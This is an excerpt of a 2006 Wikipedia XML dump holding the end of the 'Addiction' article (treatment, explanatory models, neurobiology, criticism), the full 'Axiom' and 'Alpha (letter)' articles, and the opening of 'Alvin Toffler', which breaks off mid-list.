''[[Psychological addictions]]'' are a dependency of the mind, and lead to psychological withdrawal symptoms. Addictions can theoretically form for any rewarding behavior, or as a habitual means to avoid undesired activity, but typically they only do so to a clinical level in individuals who have emotional, social, or [[Mental illness|psychological dysfunctions]], taking the place of normal positive stimuli not otherwise attained (see [[Rat Park]]).

== Addiction and drug control legislation == 

Most countries have legislation which brings various drugs and drug-like [[substance]]s under the control of licensing systems. Typically this legislation covers any or all of the opiates, cannabinoids, cocaine, barbiturates, hallucinogens and a variety of more modern synthetic drugs, and unlicensed production, supply or possession is a criminal offence. 

Usually, however, drug classification under such legislation is not related simply to addictiveness. The substances covered often have very different addictive properties. Some are highly prone to cause physical dependency, whilst others rarely cause any form of compulsive need whatsoever.

Also, although the legislation may be justifiable on moral or public health grounds, it can make addiction or dependency a much more serious issue for the individual: reliable supplies of a drug become difficult to secure, and the individual becomes vulnerable to both criminal abuse and legal punishment.

==Methods of care== 

Early editions of the [[American Psychiatric Association|American Psychiatric Association's]] ''[[Diagnostic and Statistical Manual of Mental Disorders]]'' (DSM) described addiction as a physical dependency to a substance that resulted in withdrawal symptoms in its absence. Recent editions, including DSM-IV, have moved toward a diagnostic instrument that classifies such conditions as dependency, rather than addiction. The [[American Society of Addiction Medicine]] recommends treatment for people with chemical dependency based on [[patient placement criteria]] (currently listed in PPC-2), which attempt to match levels of care according to clinical assessments in six areas, including:
* Acute intoxication and/or withdrawal potential 
* Biomedical conditions or complications 
* Emotional/behavioral conditions or complications 
* Treatment acceptance/resistance 
* [[Relapse]] potential 
* Recovery environment 

Some medical systems, including those of at least 15 states of the United States, refer to an [[Addiction Severity Index]] to assess the severity of problems related to substance use. The index assesses problems in six areas: medical, employment/support, alcohol and other drug use, legal, family/social, and psychiatric.

While addiction or dependency is related to seemingly uncontrollable urges, and may have roots in genetic predisposition, treatment of dependency is always classified as behavioral medicine. Early treatment of acute withdrawal often includes medical detoxification, which can include doses of [[anxiolytic]]s to reduce symptoms of withdrawal. In chronic opiate addiction, a surrogate drug such as [[methadone]] is sometimes offered as a form of [[opiate replacement therapy]]. But treatment approaches universally focus on the individual's ultimate choice to pursue an alternate course of action. 

Therapists often classify patients with chemical dependencies as either interested or not interested in changing. Treatments usually involve planning for specific ways to avoid the addictive stimulus, and therapeutic interventions intended to help a client learn healthier ways to find satisfaction. Clinical leaders in recent years have attempted to tailor intervention approaches to specific influences that effect addictive behavior, using therapeutic interviews in an effort to discover factors that led a person to embrace unhealthy, addictive sources of pleasure or relief from pain. 

{| class=&quot;prettytable&quot; Cellpadding=4 width=60% align=center bgcolor=&quot;FOF8FF&quot;
|- style=&quot;background-color:#AFEEEE;font-size:large&quot;
!colspan=3|'''Treatment Modality Matrix'''
|- style=&quot;background-color:#BFEFFF&quot;
!'''''Behavioral Pattern'''''
!'''''Intervention'''''
!'''''Goals'''''
|-
|Low self esteem, anxiety, verbal hostility
|Relationship therapy, client centered approach
|Increase self esteem, reduce hostility and anxiety
|-
|Defective personal constructs, ignorance of interpersonal means
|Cognitive restructuring including directive and group therapies
|Insight
|-
|Focal anxiety such as fear of crowds
|Desensitization
|Change response to same cue
|-
|Undesirable behaviors, lacking appropriate behaviors
|Aversive conditioning, operant conditioning, counter conditioning
|Eliminate or replace behavior
|-
|Lack of information
|Provide information
|Have client act on information
|-
|Difficult social circumstances
|Organizational intervention, environmental manipulation, family counseling
|Remove cause of social difficulty
|-
|Poor social performance, rigid interpersonal behavior
|Sensitivity training, communication training, group therapy
|Increase interpersonal repertoire, desensitization to group functioning
|-
|Grossly bizarre behavior
|Medical referral
|Protect from society, prepare for further treatment
|- style=&quot;text-align:center;font-size:small&quot;
|colspan=3|Adapted from: ''Essentials of Clinical Dependency Counseling'', Aspen Publishers
|}

==Diverse explanations==
Several explanations (or &quot;models&quot;) have been presented to explain addiction:

*The ''[[moral]] model'' states that addictions are the result of human weakness, and are defects of [[moral character|character]]. Those who advance this model do not accept that there is any biological basis for addiction. They often have scant sympathy for people with serious addictions, believing either that a person with greater moral strength could have the force of will to break an addiction, or that the addict demonstrated a great moral failure in the first place by starting the addiction. The moral model is widely applied to dependency on illegal substances, perhaps purely for social or political reasons, but is no longer widely considered to have any therapeutic value. Elements of the moral model, especially a focus on individual choices, have found enduring roles in other approaches to the treatment of dependencies.  

*The ''[[opponent-process]] model'' generated by Richard Soloman states that for every psychological event A will be followed by its opposite psychological event B.  For example, the pleasure one experiences from heroin is followed by an opponent process of withdrawal, or the terror of jumping out of an airplane is rewarded with intense pleasure when the parachute opens. This model is related to the opponent process color theory.  If you look at the color red then quickly look at a gray area you will see green.  There are many examples of opponent processes in the nervous system including taste, motor movement, touch, vision, and hearing. Opponent-processes occurring at the sensory level may translate &quot;down-stream&quot; into addictive or habit-forming behavior. 

*The ''[[disease]] model'' holds that addiction is an illness, and comes about as a result of the impairment of healthy [[neurochemistry|neurochemical]] or behavioral processes. While there is some dispute among clinicians as to the reliability of this model, it is widely employed in therapeutic settings. Most treatment approaches involve recognition that dependencies are behavioral dysfunctions, and thus involve some element of physical or mental disease.

*The ''[[genetics|genetic]] model'' posits a genetic predisposition to certain behaviors. It is frequently noted that certain addictions &quot;run in the family,&quot; and while researchers continue to explore the extent of genetic influence, there is strong evidence that genetic predisposition is often a factor in dependency. Researchers have had difficulty assessing differences, however, between social causes of dependency learned in family settings and genetic factors related to [[heredity]].

*The ''[[culture|cultural]] model'' recognizes that the influence of culture is a strong determinant of whether or not individuals fall prey to certain addictions. For example, alcoholism is rare among [[Saudi Arabia]]ns, where obtaining alcohol is difficult and using alcohol is prohibited. In North America, on the other hand, the incidence of [[gambling]] addictions soared in the last two decades of the [[20th century]], mirroring the growth of the gaming industry. Half of all patients diagnosed as alcoholic are born into families where alcohol is used heavily, suggesting that familiar influence, genetic factors, or more likely both, play a role in the development of addiction.

*The ''blended model'' attempts to consider elements of all other models in developing a therapeutic approach to dependency. It holds that the mechanism of dependency is different for different individuals, and that each case must be considered on its own merits.

*The ''[[habit]] model'' proposed by [[Thomas Szasz]] questions the very concept of &quot;addiction.&quot; He argues that addiction is a metaphor, and that the only reason to make the distinction between habit and addiction &quot;is to persecute somebody.&quot; [http://www.szasz.com/drugsandfreedom1973.html (Szasz, 1973)]

*The genetic neurobiological model called Hypoism. Read about the science behind this and its implications at http://www.nvo.com/hypoism. The scientific argument is at: http://www.nvo.com/hypoism/hypoismhypothesis/

==Neurobiological basis==
The development of addiction is thought to involve a simultaneous process of 1) increased focus on and engagement in a particular behavior and 2) the attenuation or &quot;shutting down&quot; of other behaviors. For example, animals allowed the unlimited ability to self-administer psychoactive drugs will show such a strong preference that they will forgo food, sleep, and sex for continued access. The neuro-anatomical correlate of this that the brain regions involved in driving goal-directed behavior grow increasingly selective for particular motivating stimuli and rewards, to the point that the brain regions involved in the inhibition of behavior can no longer effectively send &quot;stop&quot; signals. A good analogy is to imagine flooring the gas pedal in a car with very bad brakes. In this case, the limbic system is thought to be the major &quot;driving force&quot; and the orbitofrontal cortex is the substrate of the top-down inhibition. 

A specific portion of the limbic circuit known as the mesolimbic dopaminergic system is hypothesized to play an important role in translation of motivation to motor behavior- and reward-related learning in particular.  It is typically defined as the [[ventral tegmental area]] (VTA), the nucleus accumbens, and the bundle of dopamine-containing fibres that connecting them. This system is commonly implicated in the seeking out and consumption of rewarding stimuli or events, such as sweet-tasting foods or sexual interaction. However, ita importance to addiction research goes beyond its role in &quot;natural&quot; motivation:  while the specific site or mechanism of action may differ, all known drugs of abuse have the common effect in that they elevate the level of dopamine in the nucleus accumbens. This may happen directly, such as through blockade of the dopamine re-uptake mechanism (see [[cocaine]]). It may also happen indirectly, such as through stimulation of the dopamine-containing neurons of the VTA that synapse onto neurons in the accumbens (see [[opiates]]). The euphoric effects of drugs of abuse are thought to be a direct result of the acute increase in accumbal dopamine.   

The human body has a natural tendency to maintain [[homeostasis]], and the central nervous system is no exception. Chronic elevation of dopamine will result in a decrease in the number of dopamine [[Transmembrane receptor|receptors]] available in a process known as [[downregulation]]. The decreased number of receptors changes the permeability of the cell membrane located post-synaptically, such that the post-synaptic neuron is less excitable- ie, less able to respond to chemical signalling with an electrical impulse, or [[action potential]]. It is hypothesized that this dulling of the responsiveness of the brain's reward pathways contributes to the inability to feel pleasure, known as [[anhedonia]], often observed in addicts. The increased requirement for dopamine to maintain the same electrical activity is the basis of both [[physiological tolerance]] and [[withdrawal]] associated with addiction.

Downregulation can be classically conditioned. If a behavior consistently occurs in the same environment or contigently with a particular cue, the brain will adjust to the presence of the conditioned cues by decreasing the number of available receptors in the absence of the behavior. It is thought that many drug overdoses are not the result of a user taking a higher dose than is typical, but rather that the user is administering the same dose in a new environment.  

In cases of physical dependency on [[depressant]]s of the [[central nervous system]] such as opioids, [[barbiturate]]s, or alcohol, the absence of the substance can lead to symptoms of severe physical discomfort. Withdrawal from alcohol or sedatives such as barbiturates or benzodiazepines (valium-family) can result in seizures and even death. By contrast, withdrawal from opioids, which can be extremely uncomfortable, is rarely if ever life-threatening. In cases of dependence and withdrawal, the body has become so dependent on high concentrations of the particular chemical that it has stopped producing its own natural versions (endogenous ligands) and instead produces opposing chemicals. When the addictive substance is withdrawn, the effects of the opposing chemicals can become overwhelming. For example, chronic use of sedatives (alcohol, [[barbiturate]]s, or benzodiazepines) results in higher chronic levels of stimulating [[neurotransmitter]]s such as glutamate. Very high levels of glutamate kill nerve cells (called excitatory neurotoxicity).

==Criticism==
[[Levi Bryant]] has criticized the term and concept of ''addiction'' as counterproductive in psychotherapy as it defines a patient's identity and makes it harder to become a ''non-addict''.  &quot;The signifier 'addict' doesn't simply describe what I am, but initiates a way of relating to myself that informs how I relate to others.&quot;

A stronger form or criticism comes from [[Thomas Szasz]], who denies that addiction is a psychiatric problem.  In many of his works, he argues that addiction is a choice, and that a drug addict is one who simply prefers a socially taboo substance rather than, say, a low risk lifestyle.  In 'Our Right to Drugs', Szasz cites the biography of [[Malcolm X]] to corroborate his economic views towards addiction: Malcolm claimed that quitting cigarettes was harder than shaking his heroine addiction.  Szasz postulates that humans always have a choice, and it is foolish to call someone an 'addict' just becuase they prefer a [[drug]] induced [[euphoria]] to a more popular and socially welcome lifestyle.

A similar conclusion to that of Thomas Szasz may also be reached through very different [[reasoning]].  This is the somewhat extreme, yet tenanable, view that humans do not have [[free will]]. From this perspective, being 'addicted' to a substance is no different than being 'addicted' to a job that you work everyday.  Without the assumption of free will, every human action is the result of the naturally occuring reactions of particle matter in the physical brain, and so there is no longer room for the concept of 'addiction', since, in this view, choice is an illusion of the [[human]] experience.

==Casual addiction==
The word addiction is also sometimes used colloquially to refer to something a person has a passion for. Such &quot;addicts&quot; include:

*[[Bibliophilia|Biblioholics]]
*[[Chocoholic]]s
*[[Workaholic]]s

==See also==
* [[12-step programs]]
* [[Alcoholics Anonymous]]
* [[Narcotics Anonymous]]
* [[Moderation Management]]
* [[Cold turkey]]
* [[Junkie]]
* [[Love-hate relationship]]
* [[Tanha]]
* [[YES Recovery]]
* [[Higher order desire]]
* [[Sexual addiction]]
* [[Drug addiction]]
* [[Computer addiction]]

==External links==
* [http://www.nvo.com/hypoism/hypoismhypothesis/ Hypoism Hypothesis]
* [http://www.nature.com/neuro/focus/addiction/index.html nature neurosience - Focus on Neurobiology of addiction] (freely available online through January 2006)
* [http://www.nida.nih.gov/ National Institute on Drug Abuse]
* [http://www.asam.org/pain/definitions2.pdf Definitions Related to the Use of Opioids for the Treatment of Pain] (2001) - a joint statement by the American Academy of Pain Medicine, the American Pain Society, and the American Society of Addiction Medicine
* [http://www.who.int/substance_abuse/terminology/who_lexicon/en/ World Health Organization terminology for substance use and dependence]
* [http://www.narecovery.org/ Narcotics Anonymous Help for Addicts by addicts]
* [http://www.alcoholicsanonymous.com/ Alcoholics Anonymous]
* [http://my-addiction.info/Four_Stages_of_Breaking_an_Addiction_Caryl_Ehrlich.html Four Stages of Breaking an Addiction]
* [http://www.marijuana-anonymous.org Marijuana Anonymous]
* [http://www.Methadone-Anonymous.org Methadone Anonymous World Services, Inc.]
* [http://www.MethadoneSupport.org Methadone &amp; Methadone Anonymous Support]
* [http://www.nicd.us/ National Institute on Chemical Dependency]
*[http://navisite.collegeclub.com/servlet/channels.ChannelArticleServlet?articleid=4461&amp;areaid=8&amp;grid-messageboard-page=1 Harrowing Heroin by Geoff Morton]
* [http://www.addictioninfo.org/ AddictionInfo contemporary addiction information]
* [http://www.drugabuse.gov/researchreports/nicotine/nicotine.html/ NIDA research report on Nicotine Addiction]

[[Category:Addiction|*]]
[[Category:Motivation]]
[[Category:Unsolved problems in neuroscience]]

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    </revision>
  </page>
  <page>
    <title>Axiom</title>
    <id>928</id>
    <revision>
      <id>41064244</id>
      <timestamp>2006-02-24T20:53:35Z</timestamp>
      <contributor>
        <ip>141.210.100.235</ip>
      </contributor>
      <text xml:space="preserve">{{otheruses}}

In [[epistemology]], an '''axiom''' is a [[self-evidence|self-evident]] truth upon which other knowledge must rest, from which other knowledge is built up.  Not all [[epistemologist]]s agree that any axioms, understood in that sense, exist. 

In [[mathematics]], an '''axiom''' is ''not'' necessarily a ''self-evident'' truth, but rather a formal logical expression used in a deduction to yield further results. Mathematics distinguishes two types of axioms: [[#Logical axioms|logical axioms]] and [[#Non-logical axioms|non-logical axioms]].

==Etymology==

The word ''axiom'' comes from the [[Greek language|Greek]] word
&amp;alpha;&amp;xi;&amp;iota;&amp;omega;&amp;mu;&amp;alpha; (''axioma''), which means that which is deemed worthy or fit or that which is considered [[self-evidence|self-evident]].  The word comes from &amp;alpha;&amp;xi;&amp;iota;&amp;omicron;&amp;epsilon;&amp;iota;&amp;nu; (''axioein''), meaning to deem worthy, which in turn comes from &amp;alpha;&amp;xi;&amp;iota;&amp;omicron;&amp;sigmaf; (''axios''), meaning worthy. Among the [[ancient Greece|ancient Greek]] [[philosopher]]s an axiom was a claim which could be seen to be true without any need for proof.

==Mathematics==

In the field of [[mathematical logic]], a clear distinction is made between two notions of axioms: '''logical axioms''' and '''non-logical axioms'''. 

===Logical axioms===

These are certain [[Mathematical logic#Definition:Formula|formulas]] in a [[Mathematical logic#Definition:FirstOrderLanguage|language]] that are [[Mathematical logic#Definition:ValidFormula|universally valid]], that is, formulas that are [[Mathematical logic#Definition:Satisfaction|satisfied]] by every [[Mathematical logic#Definition:Structure|structure]] under every [[Mathematical logic#Definition:VariableAssignmentFunction|variable assignment function]] . In colloquial terms, these are statements that are ''true'' in any possible universe, under any possible interpretation and with any assignment of values.  Usually one takes as logical axioms some minimal set of tautologies that is sufficient for proving all [[tautology|tautologies]] in the language.

====Examples====

In the [[propositional calculus]] it is common to take as logical axioms all formulas of the following forms, where &lt;math&gt;\phi&lt;/math&gt;, &lt;math&gt;\psi&lt;/math&gt;, and &lt;math&gt;\chi&lt;/math&gt; can be any formulas of the language:

#&lt;math&gt;\phi \to (\psi \to \phi)&lt;/math&gt;
#&lt;math&gt;(\phi \to (\psi \to \chi)) \to ((\phi \to \psi) \to (\phi \to \chi))&lt;/math&gt;
#&lt;math&gt;(\lnot \phi \to \lnot \psi) \to (\psi \to \phi)&lt;/math&gt;

Each of these patterns is an ''[[axiom schema]]'', a rule for generating an infinite number of axioms.  For example, if &lt;math&gt;A&lt;/math&gt;, &lt;math&gt;B&lt;/math&gt;, and &lt;math&gt;C&lt;/math&gt; are propositional variables, then &lt;math&gt;A \to (B \to A)&lt;/math&gt; and &lt;math&gt;(A \to \lnot B) \to (C \to (A \to \lnot B))&lt;/math&gt; are both instances of axiom schema 1, and hence are axioms.  It can be shown that with only these three axiom schemata and ''[[modus ponens]]'', one can prove all tautologies of the propositional calculus.  It can also be shown that no pair of these schemata is sufficient for proving all tautologies with ''modus ponens''.

These axiom schemata are also used in the [[predicate calculus]], but additional logical axioms are needed.

&lt;div style=&quot;border-left: 3px double #CCCCCC; padding-left: 5px; &quot;&gt;
'''Example.''' Let &lt;math&gt;\mathfrak{L}\,&lt;/math&gt; be a first-order language. For each variable &lt;math&gt;x\,&lt;/math&gt;, the formula

&lt;center&gt;
&lt;math&gt;x = x&lt;/math&gt;
&lt;/center&gt;

is universally valid.
&lt;/div&gt;

This means that, for any [[Mathematical logic#Definition:FirstOrderLanguage|variable symbol]] &lt;math&gt;x\,&lt;/math&gt;, the formula &lt;math&gt;x = x\,&lt;/math&gt; can be regarded as an axiom. Also, in this example, for this not to fall into vagueness and a never-ending series of &quot;primitive notions&quot;, either a precise notion of what we mean by &lt;math&gt;x = x\,&lt;/math&gt; (or, for all what matters, &quot;to be equal&quot;) has to be well established first, or a purely formal and syntactical usage of the symbol &lt;math&gt;=\,&lt;/math&gt; has to be enforced, and [[mathematical logic]] does indeed do that.

Another, more interesting example, is that which provides us with what is known as '''universal instantiation''':

&lt;div style=&quot;border-left: 3px double #CCCCCC; padding-left: 5px; &quot;&gt;
'''Example.''' Given a formula &lt;math&gt;\phi\,&lt;/math&gt; in a first-order language &lt;math&gt;\mathfrak{L}\,&lt;/math&gt;, a variable &lt;math&gt;x\,&lt;/math&gt; and a [[Mathematical logic#Definition:Term|term]] &lt;math&gt;t\,&lt;/math&gt; that is [[Mathematical logic#Definition:VariableSubstitutionInFormula|substitutable]] for &lt;math&gt;x\,&lt;/math&gt; in &lt;math&gt;\phi\,&lt;/math&gt;, the formula

&lt;center&gt;
&lt;math&gt;\forall x. \phi \to \phi^x_t&lt;/math&gt;
&lt;/center&gt;

is universally valid.
&lt;/div&gt;

In informal terms, this example allows us to state that, if we know that a certain property &lt;math&gt;P\,&lt;/math&gt; holds for every &lt;math&gt;x\,&lt;/math&gt; and that if &lt;math&gt;t\,&lt;/math&gt; stands for a particular object in our structure, then we should be able to claim &lt;math&gt;P(t)\,&lt;/math&gt;. Again, ''we are claiming that the formula'' &lt;math&gt;\forall x. \phi \to \phi^x_t&lt;/math&gt; ''is valid'', that is, we must be able to give a &quot;proof&quot; of this fact, or more properly speaking, a ''metaproof''. Actually, these examples are ''metatheorems'' of our theory of mathematical logic since we are dealing with the very concept of ''proof'' itself. Aside from this, we can also have '''existential generalization''':

&lt;div style=&quot;border-left: 3px double #CCCCCC; padding-left: 5px; &quot;&gt;
'''Axiom scheme.''' Given a formula &lt;math&gt;\phi\,&lt;/math&gt; in a first-order language &lt;math&gt;\mathfrak{L}\,&lt;/math&gt;, a variable &lt;math&gt;x\,&lt;/math&gt; and a term &lt;math&gt;t\,&lt;/math&gt; that is substitutable for &lt;math&gt;x\,&lt;/math&gt; in &lt;math&gt;\phi\,&lt;/math&gt;, the formula

&lt;center&gt;
&lt;math&gt;\phi^x_t \to \exists x. \phi&lt;/math&gt;
&lt;/center&gt;

is universally valid.
&lt;/div&gt;

===Non-logical axioms===

'''Non-logical axioms''' are formulas that play the role of theory-specific assumptions.  Reasoning about two different structures, for example the [[natural number]]s and the [[integer]]s, may involve the same logical axioms; the non-logical axioms aim to capture what is special about a particular structure (or set of structures, such as [[group (algebra)|groups]]).  Thus non-logical axioms, unlike logical axioms, are not ''tautologies''.  Another name for a non-logical axiom is ''postulate''.

Almost every modern [[mathematical theory]] starts from a given set of non-logical axioms, and it was thought that in principle every theory could be axiomatized in this way and formalized down to the bare language of logical formulas. This turned out to be impossible and proved to be quite a story (''[[#role|see below]]'').

Non-logical axioms are often simply referred to as ''axioms'' in mathematical discourse.  This does not mean that it is claimed that they are true in some absolute sense.  For example, in some [[group (algebra)|groups]], the group operation is [[commutative]], and this can be asserted with the introduction of an additional axiom, but without this axiom we can do quite well developing (the more general) group theory, and we can even take its negation as an axiom for the study of non-commutative groups.

Thus, an ''axiom'' is an elementary basis for a formal logic system that together with the [[rules of inference]] define a '''deductive system'''.

====Examples====

This section gives examples of mathematical theories that are developed entirely from a set of non-logical axioms (axioms, henceforth). A rigorous treatment of any of these topics begins with a specification of these axioms.

Basic theories, such as [[arithmetic]], [[real analysis]] (sometimes referred to as ''the theory of functions of one real variable''), [[linear algebra]], and [[complex analysis]] (a.k.a. ''complex variables''), are often introduced non-axiomatically in mostly technical studies, but any rigorous course in these subjects always begins by presenting its axioms.

''Geometries'' such as [[Euclidean geometry]], [[projective geometry]], [[symplectic geometry]]. Interestingly one of the results of the fifth Euclidean axiom being a non-logical axiom is that the three angles of a triangle do not by definition add to 180°. Only under the umbrella of Euclidean geometry is this always true.

The study of topology in mathematics extends all over through [[point set topology]], [[algebraic topology]], [[differential topology]], and all the related paraphernalia, such as [[homology theory]], [[homotopy theory]]. 
The development of ''abstract algebra'' brought with itself [[group theory]], [[ring (mathematics)|rings]] and [[field (mathematics)|fields]], [[Galois theory]].

This list could be expanded to include most fields of mathematics, including [[axiomatic set theory]], [[measure theory]], [[ergodic theory]], [[probability]], [[representation theory]], and [[differential geometry]].

=====Arithmetic=====

The [[Peano axioms]] are the most widely used ''axiomatization'' of [[arithmetic]].  They are a set of axioms strong enough to prove many important facts about [[number theory]] and they allowed Gödel to establish his famous [[Gödel's second incompleteness theorem|second incompleteness theorem]].

We have a language &lt;math&gt;\mathfrak{L}_{NT} = \{0, S\}\,&lt;/math&gt; where &lt;math&gt;0\,&lt;/math&gt; is a constant symbol and &lt;math&gt;S\,&lt;/math&gt; is a [[unary function]] and the following axioms:

# &lt;math&gt;\forall x. \lnot (Sx = 0) &lt;/math&gt;
# &lt;math&gt;\forall x. \forall y. (Sx = Sy \to x = y) &lt;/math&gt;
# &lt;math&gt;((\phi(0) \land \forall x.\,(\phi(x) \to \phi(Sx))) \to \forall x.\phi(x)&lt;/math&gt; for any &lt;math&gt;\mathfrak{L}_{NT}\,&lt;/math&gt; formula &lt;math&gt;\phi\,&lt;/math&gt; with one free variable.

The standard structure is &lt;math&gt;\mathfrak{N} = \langle\N, 0, S\rangle\,&lt;/math&gt; where &lt;math&gt;\N\,&lt;/math&gt; is the set of natural numbers, &lt;math&gt;S\,&lt;/math&gt; is the [[successor function]] and &lt;math&gt;0\,&lt;/math&gt; is naturally interpreted as the number 0.

=====Euclidean geometry=====

Probably the oldest, and most famous, list of axioms are the 4 + 1 [[Euclid's postulates]] of [[plane geometry]].  This set of axioms turns out to be incomplete, and many more postulates are necessary to rigorously characterize his geometry ([[David Hilbert|Hilbert]] used 23).

The axioms are referred to as &quot;4 + 1&quot; because for nearly two millennia the [[parallel postulate|fifth (parallel) postulate]] (&quot;through a point outside a line there is exactly one parallel&quot;) was suspected of being derivable from the first four.  Ultimately, the fifth postulate was found to be independent of the first four.  Indeed, one can assume that no parallels through a point outside a line exist, that exactly one exists, or that infinitely many exist.  These choices give us alternative forms of geometry in which the interior [[angle]]s of a [[triangle]] add up to less than, exactly, or more than a straight line respectively and are known as [[elliptic geometry|elliptic]], [[Euclidean geometry|Euclidean]], and [[hyperbolic geometry|hyperbolic]] geometries.

=====Real analysis=====

The object of study is the [[real numbers]].  The real numbers are uniquely picked out (up to [[isomorphism]]) by the properties of a ''complete ordered field''. However, expressing these properties as axioms requires use of [[second-order logic]]. The [[Löwenheim-Skolem theorem]]s tell us that if we restrict ourselves to [[first-order logic]], any axiom system for the reals admits other models, including both models that are smaller than the reals and models that are larger.  Some of the latter are studied in [[non-standard analysis]].

===&lt;span id=&quot;role&quot;&gt;Role in mathematical logic&lt;/span&gt;===

====Deductive systems and completeness====

A '''deductive system''' consists, of a set &lt;math&gt;\Lambda\,&lt;/math&gt; of logical axioms, a set &lt;math&gt;\Sigma\,&lt;/math&gt; of non-logical axioms, and a set &lt;math&gt;\{(\Gamma, \phi)\}\,&lt;/math&gt; of ''rules of inference''.  A desirable property of a deductive system is that it be '''complete'''.  A system is said to be complete if, for all formulas &lt;math&gt;\phi&lt;/math&gt;,
&lt;center&gt;
if &lt;math&gt;\Sigma \models \phi&lt;/math&gt; then &lt;math&gt;\Sigma \vdash \phi&lt;/math&gt;
&lt;/center&gt;

that is, for any statement that is a ''logical consequence'' of &lt;math&gt;\Sigma&lt;/math&gt; there actually exists a ''deduction'' of the statement from &lt;math&gt;\Sigma\,&lt;/math&gt;.  This is sometimes expressed as &quot;everything that is true is provable&quot;, but it must be understood that &quot;true&quot; here means &quot;made true by the set of axioms&quot;, and not, for example, &quot;true in the intended interpretation&quot;.  [[Gödel's completeness theorem]] establishes the completeness of a certain commonly-used type of deductive system.

Note that &quot;completeness&quot; has a different meaning here than it does in the context of [[Gödel's first incompleteness theorem]], which states that no ''recursive'', ''consistent'' set of non-logical axioms &lt;math&gt;\Sigma\,&lt;/math&gt; of the Theory of Arithmetic is ''complete'', in the sense that there will always exist an arithmetic statement &lt;math&gt;\phi\,&lt;/math&gt; such that neither &lt;math&gt;\phi\,&lt;/math&gt; nor &lt;math&gt;\lnot\phi\,&lt;/math&gt; can be proved from the given set of axioms.

There is thus, on the one hand, the notion of '''''completeness of a deductive system''''' and on the other hand that of '''''completeness of a set of non-logical axioms'''''.  The completeness theorem and the incompleteness theorem, despite their names, do not contradict one another.

===Further discussion===

Early [[mathematician]]s regarded axiomatic geometry as a model of [[physical space]], and obviously there could only be one such model. The idea that alternative mathematical systems might exist was very troubling to mathematicians of the 19th century and the developers of systems such as [[Boolean algebra]] made elaborate efforts to derive them from traditional arithmetic.  [[Évariste Galois|Galois]] showed just before his untimely death that these efforts were largely wasted, but that the grand parallels between axiomatic systems could be put to good use, as he algebraically solved many classical geometrical problems.  Ultimately, the abstract parallels between algebraic systems were seen to be more important than the details and [[abstract algebra|modern algebra]] was born.  In the modern view we may take as axioms any set of formulas we like, as long as they are not known to be inconsistent.

==See also==
* [[Axiomatic system]]
* [[Peano axioms]]
* [[Axiom of choice]]
* [[Axiom of countability]]
* [[Axiomatic set theory]]
* [[Parallel postulate]]
* [[Continuum hypothesis]]
* [[Axiomatization]]
* [[List of axioms]]

==External links==
* [http://us.metamath.org/mpegif/mmset.html#axioms ''Metamath'' axioms page]

[[Category:Mathematical axioms|*]]
[[Category:Logic]]

[[bg:Аксиома]]
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  </page>
  <page>
    <title>Alpha (letter)</title>
    <id>929</id>
    <revision>
      <id>41077797</id>
      <timestamp>2006-02-24T22:27:49Z</timestamp>
      <contributor>
        <username>Unyoyega</username>
        <id>460372</id>
      </contributor>
      <minor />
      <comment>fixing interwikis  +: als</comment>
      <text xml:space="preserve">{{Table_Greekletters|letter=alpha}}
{{WikisourceEBD1897|A (entry)}}
:''For other uses, see [[Alpha]].''

'''Alpha''' (uppercase Α, lowercase α) is the first letter of the [[Greek alphabet]].  In the system of [[Greek numerals]] it has a value of 1. It derives from the [[Phoenician alphabet|Phoenician]] letter [[Aleph (letter)|'Aleph]][[Image:phoenician_aleph.png|20px|Aleph]]. Letters that arose from Alpha include the Latin [[A]] and the Cyrillic letter [[A (Cyrillic)|A]].

[[Plutarch]] in ''[[Moralia]]'' presents a discussion on the question of why the letter alpha stands first in the alphabet. Plutarch's speaker suggests that [[Cadmus]], the [[Phoenician]] who reputedly settled in [[Thebes]] and introduced the alphabet to Greece, &quot;placed ''alpha'' first because it is the Phoenician name for [[ox]], which they, like [[Hesiod]], considered not the second or third, but the first of necessities.&quot; This refers to a passage in ''[[Works and Days]]'' by Hesiod, who advised the early Greek farmers, &quot;First get an ox, then a woman.&quot;  A simpler explanation is that it was the first letter in the Phoenician alphabet.

According to Plutarch's natural order of attribution of the [[vowel]]s to the [[planet]]s, alpha was connected with the [[Moon]]. Oxen were also associated with the Moon in both early [[Sumerian]] and [[Ancient Egypt|Egyptian]] religious symbolism due to the crescent shape of their horns.

Alpha, both as a symbol and term, is used to refer to or describe a variety of things, including the first or most significant occurrence of something.  [[Jesus]] declares himself to be the &quot;Alpha and [[Omega]], the beginning and the end, the first and the last.&quot; ([[Book of Revelation|Revelation]] 22:13, KJV, and see also 1:8).

The uppercase letter alpha is not generally used as a symbol because it tends to be rendered identically to the uppercase [[A|latin A]].

The lower-case letter α is used as the symbol for the following in physics:
* [[Angular acceleration]].
* The [[alpha particle]] and [[alpha decay]].
* Molecular polarisability.

==Other uses==

Alpha is also used to describe the strongest male in a pack of animals, known as the alphamale.

[[Category:Greek letters]]

[[als:Α]]
[[an:Alfa]]
[[ast:Alpha]]
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[[es:Α]]
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[[gl:Alfa (letra)]]
[[ko:Α]]
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[[he:אלפא]]
[[la:Alpha]]
[[nl:Alfa (letter)]]
[[nds:Alpha]]
[[ja:Α]]
[[no:Alfa]]
[[pl:Alfa]]
[[pt:Α]]
[[ru:Альфа (буква)]]
[[sk:Alfa (písmeno)]]
[[sl:Alfa]]
[[sr:Алфа]]
[[fi:Alfa]]
[[sv:Alfa]]
[[zh:Α]]</text>
    </revision>
  </page>
  <page>
    <title>Alvin Toffler</title>
    <id>930</id>
    <revision>
      <id>42090219</id>
      <timestamp>2006-03-03T19:37:03Z</timestamp>
      <contributor>
        <ip>81.132.116.185</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Alvin_toffler.jpg|thumb|right|200px|Alvin Toffler]]
'''Alvin Toffler''' (born [[October 3]], [[1928]]) is an [[United States|American]] [[writer]] and [[futures studies|futurist]], known for his works discussing the [[digital revolution]], [[communications revolution]], [[corporate revolution]] and [[technological singularity]]. A former associate editor of ''[[Fortune (magazine)|Fortune]]'' magazine, his early work focused on technology and its impact (through effects like [[information overload]]). Then he moved to examining the reaction of and [[Social change|changes in society]]. His later focus has been on the increasing power of [[21st century]] military hardware, weapons and technology proliferation, and [[capitalism]]. He is married to [[Heidi Toffler]], also a writer and futurist.

== His ideas ==

Toffler explains, &quot;Society needs people who take care of the elderly and who know how to be compassionate and honest.  Society needs people who work in hospitals.  Society needs all kinds of skill that are not just cognitive; they're emotional, they're affectional.  You can't run the society on data and computers alone.&quot;

In his book ''The Third Wave'' Toffler describes three types of societies, based on the concept of 'waves' - each wave pushes the older societies and cultures aside.
*First Wave is the society after [[agrarian revolution]] and replaced the first [[hunter-gatherer]] cultures.
